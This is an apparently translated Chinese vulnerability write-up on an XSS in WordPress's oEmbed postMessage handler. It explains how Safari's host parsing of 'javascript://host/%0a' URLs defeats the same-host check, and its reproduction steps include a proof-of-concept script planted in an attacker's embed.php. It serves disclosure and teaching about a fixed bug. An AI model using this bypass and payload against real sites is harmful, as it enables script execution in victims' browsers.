WordPress中的XSS通过开放的嵌入自动发现

0x00 前言

用户通常认为已知软件没有安全漏洞,因为它已经过足够数量的工具和安全测试人员的检查。但是,这不是渗透测试人员或错误猎人可以负担得起的假设。漏洞可能潜伏在各个地方,找到一个有趣的错误通常需要耐心的搜索。

应用这种方法使我在WordPress等知名CMS中发现了XSS类漏洞,我将在后面描述。

0x01 什么是postMessage()?

为了理解我的思路和方法,我首先需要讨论postMessage()是什么。它是Web API的一部分,允许在Window对象之间进行安全的跨源通信,这意味着此方法可以将消息从一个窗口发送到另一个窗口,而不管其来源如何。然而,错误地使用此功能可能会为安全漏洞打开潜在的载体,例如我们在本文中讨论的XSS。

0x02 根本原因

让我们来看看问题的核心——JavaScript postMessage处理程序:

代码语言:javascript
复制
if (c.wp.receiveEmbedMessage = function(e) {
            var t = e.data;
            if (t)
                if (t.secret || t.message || t.value)
                    if (!/[^a-zA-Z0-9]/.test(t.secret)) {
                        for (var r, a, i, s = d.querySelectorAll('iframe[data-secret="' + t.secret + '"]'), n = d.querySelectorAll('blockquote[data-secret="' + t.secret + '"]'), o = 0; o < n.length; o++)
                            n[o].style.display = "none";
                        for (o = 0; o < s.length; o++)
                            if (r = s[o],
                            e.source === r.contentWindow) {
                                if (r.removeAttribute("style"),
                                "height" === t.message) {
                                    if (1e3 < (i = parseInt(t.value, 10)))
                                        i = 1e3;
                                    else if (~~i < 200)
                                        i = 200;
                                    r.height = i
                                }
                                if ("link" === t.message)
                                    if (a = d.createElement("a"),
                                    i = d.createElement("a"),
                                    a.href = r.getAttribute("src"),
                                    i.href = t.value,
                                    i.host === a.host)
                                        if (d.activeElement === r)
                                            c.top.location.href = t.value
                            }
                    }
        }

在此代码中可以注意到的事项:

1.需要知道Secret(但它作为嵌入网页的 location.hash 提供,所以这不是问题)

2.只有内容窗口可以发送postMessages(这很酷,因为它是攻击者网站)

3.如果 postMessage 数据的消息属性具有链接值 – 疯狂的事情正在发生

最重要的 c.top.location.href = t.value,其中 t 是由攻击者控制的 postMessage 数据。

最后一点显然会导致XSS,如果攻击者使用javascript:alert(document.domain)作为t.value,但是 - 在它发生之前进行重要的检查:

代码语言:javascript
复制
if (a = d.createElement("a"),
                                    i = d.createElement("a"),
                                    a.href = r.getAttribute("src"),
                                    i.href = t.value,
                                    i.host === a.host)

此代码检查 t.value 中提供的主机名是否与嵌入页面的主机名相同。它创建

元素,但 t.value 作为 href 属性,然后 – 采用创建的 URL 的主机属性。这种方法当然比一些正则表达式魔法要好得多,但是 Safari 浏览器中有一种特定的行为:

代码语言:javascript
复制
> var a = document.createElement("a")
> a.href="javascript://google.com/%0aalert(document.domain);//"
> console.log(a.host)
< google.com

在使用javascript:scheme的情况下,所有其他浏览器都会返回一个空字符串, Safari而不是。这可能导致攻击者使用javascript模式并在顶部窗口(受害者的博客)中执行javascript代码。

0x03 重现步骤

1.获取一个邪恶的WordPress实例。

2.编辑wordpress/wp-include/theme-compat/embed.php文件并添加自定义HTML代码:

代码语言:javascript
复制
<script>
if(document.location.hash.indexOf("secret") != -1) {
  secret = document.location.hash.split("=")[1];
  window.top.postMessage({"secret":secret,"message":"link","value":"javascript://"+document.location.host+"/%0aalert(document.domain);//"},"*");
}
</script>

3.在攻击者博客上创建任何帖子,发布它并获取其 URL。

4.在受害者WordPress网站(Safari)上添加新帖子,嵌入受害者WordPress的帖子

5.已执行警报:

0x04 总结

这种分析和发现的错误表明,即使是像WordPress这样广泛使用的平台也不能免受XSS等已知漏洞的影响。

我们在 JavaScript postMessage 处理程序中发现的问题显示了渗透测试人员如何利用深入了解不同的 Web 浏览器的工作原理,并攻击被认为是安全的功能。此问题现已修复,但对于创建网站和 Web 应用程序的每个人来说,这是一个明确的信息,即安全审核需要持续进行并涵盖所有 Web 浏览器。

0x05 参考链接

  • https://wpscan.com/vulnerability/3b574451-2852-4789-bc19-d5cc39948db5

推荐阅读:

从 JS 文件分析到 XSS 的一种方法

CNVD-2023-34111|Apache Solr 8.3.1 RCE

SSTI模板注入到 RCE